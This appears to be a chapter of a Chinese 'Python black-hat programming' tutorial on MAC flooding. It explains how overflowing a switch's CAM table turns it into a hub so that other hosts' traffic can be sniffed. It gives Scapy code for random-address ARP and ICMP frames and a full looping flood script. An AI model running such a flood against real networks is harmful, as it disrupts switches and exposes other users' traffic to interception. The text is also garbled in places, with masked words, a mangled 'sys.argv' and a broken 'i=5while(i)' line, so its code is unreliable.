傳統的交換機(我只對我目前使用的互動機做過測試,按照常識只能這樣表述)在資料**過程中依靠對cam表的查詢來確定正確的**介面,一旦在查詢過程中無法找到相關目的mac對應的條目,此資料幀將作為廣播幀來處理。cam表的容量有限,只能儲存不多的條目,當cam表記錄的mac位址達到上限後,新的條目將不會新增到cam表中。
基於以上原理,我們會發現乙個非常有趣的現象。某台pc不斷傳送去往未知目的地的資料幀,且每個包的源mac位址都不同,當這樣
的資料報傳送的速度足夠快之後,快到在重新整理時間內將交換機的cam表迅速填滿。cam表被這些偽造的mac位址佔據,真實的ma c位址條目卻無法進入cam表。那麼任何乙個經過交換機的正常單播資料幀都會以廣播幀的形式來處理。交換機在此種情況下被降級為hub。
交換機降級為hub之後,我們就可以監聽所有連線到該交換機的主機的資料了。
當然,具體互動裝置對arp洪水的響應是不一樣的,需要實地測試。下面我們進入程式設計環節。
構造隨機的mac和ip位址方法有很多,因為位址的標準格式在那裡,很容易拼裝。這裡要給大家介紹的是scapy模組中的randmac和randip方法。這兩個方法用來隨機產生mac位址和ip位址,方法接收模板引數,來產生特定網段的位址。
例如下面的**:
#!/usr/bin/python
from scapy.all import *
i=5while(i):
print randmac()
print randip()
i=i-1
執行結果如下圖:
圖2如果需要產生固定網段的ip,可以輸入指定的模板。
#!/usr/bin/python
from scapy.all import *
i=5while(i):
print randip("192.168.1.*")
i=i-1
執行結果如下:
圖3隨機的問題解決之後,下面我們考慮下什麼樣的資料報能達到目的呢?回看一下前文提到的內容,只要我們的資料報中有指定的源ip和mac,那麼交換機就會進行記錄。
例如arp包:
ether
(src=
randmac
(),dst=
"ff:ff:ff:ff:ff:ff"
)/arp(op=
2, psrc=
"0.0.0.0"
, hwdst=
"ff:ff:ff:ff:ff:ff"
)/padding
(load=
"x"*
18))
例如icmp包:
ether(src=randmac("*:*:*:*:*:*"),
dst=randmac("*:*:*:*:*:*")) / \
ip(src=randip("*.*.*.*"),
dst=randip("*.*.*.*")) / \
icmp()
兩個核心問題解決了,可以寫完整的**了:
圖4#!/usr/bin/python
import sys
from scapy.all import *
import time
iface="eth0"
if len(sys.ar**)>=2:
iface=sys.ar**[1]
while(1):
packet= ether(src=randmac("*:*:*:*:*:*"),
dst=randmac("*:*:*:*:*:*")) / \
ip(src=randip("*.*.*.*"),
dst=randip("*.*.*.*")) / \
icmp()
time.sleep(0.5)
sendp(packet,iface=iface,loop=0)
上面的**通過不停的傳送icmp資料報,來實現mac洪水攻擊。執行結果如下:
圖5本節的內容在程式設計上沒有什麼新的知識值得**,主要希望大家對交換網路和乙太網的理解通過程式設計的方式進一步加深。
下一節,我們一起**下針對vlan的攻擊。
第3.3節《vlan攻擊「專欄」—>」python黑帽程式設計」進入即可。
玄魂工作室-精彩不斷
Python黑帽程式設計2 6 模組
我們已經學習了如何在你的程式中定義一次函式而重用 如果你想要在其他程式中重用很多函式,那麼你該如何編寫程式呢?你可能已經猜到了,答案是使用模組。模組基本上就是乙個包含了所有你定義的函式和變數的檔案。為了在其他程式中重用模組,模組的檔名必須以 py為副檔名。模組可以從其他程式匯入以便利用它的功能。這也...
Python黑帽程式設計 2 7 異常處理
異常是個很寬泛的概念,如果程式沒有按預想的執行,都可以說是異常了。遇到一些特殊情況沒處理會引發異常,比如讀檔案的時候檔案不存在,網路連線超時。程式本身的錯誤也可以算作異常,比如把字串當整數來處理,拼寫錯誤。不論是系統還是框架,都會對基本異常進行分類,比如io異常,記憶體溢位等等。很多時候,針對特有的...
Python 黑帽程式設計大綱(變化中)
教程說明 1.1 虛擬機器安裝和配置kali linux 2016 1.2 使用vscode 搭建python開發環境 1.3 python執行時與包管理工具 1.4 你必須知道的網路基礎理論 請自學 1.5 利用wireshark練習資料報解析 2.0 第二章概述 2.1 python程式設計哲學...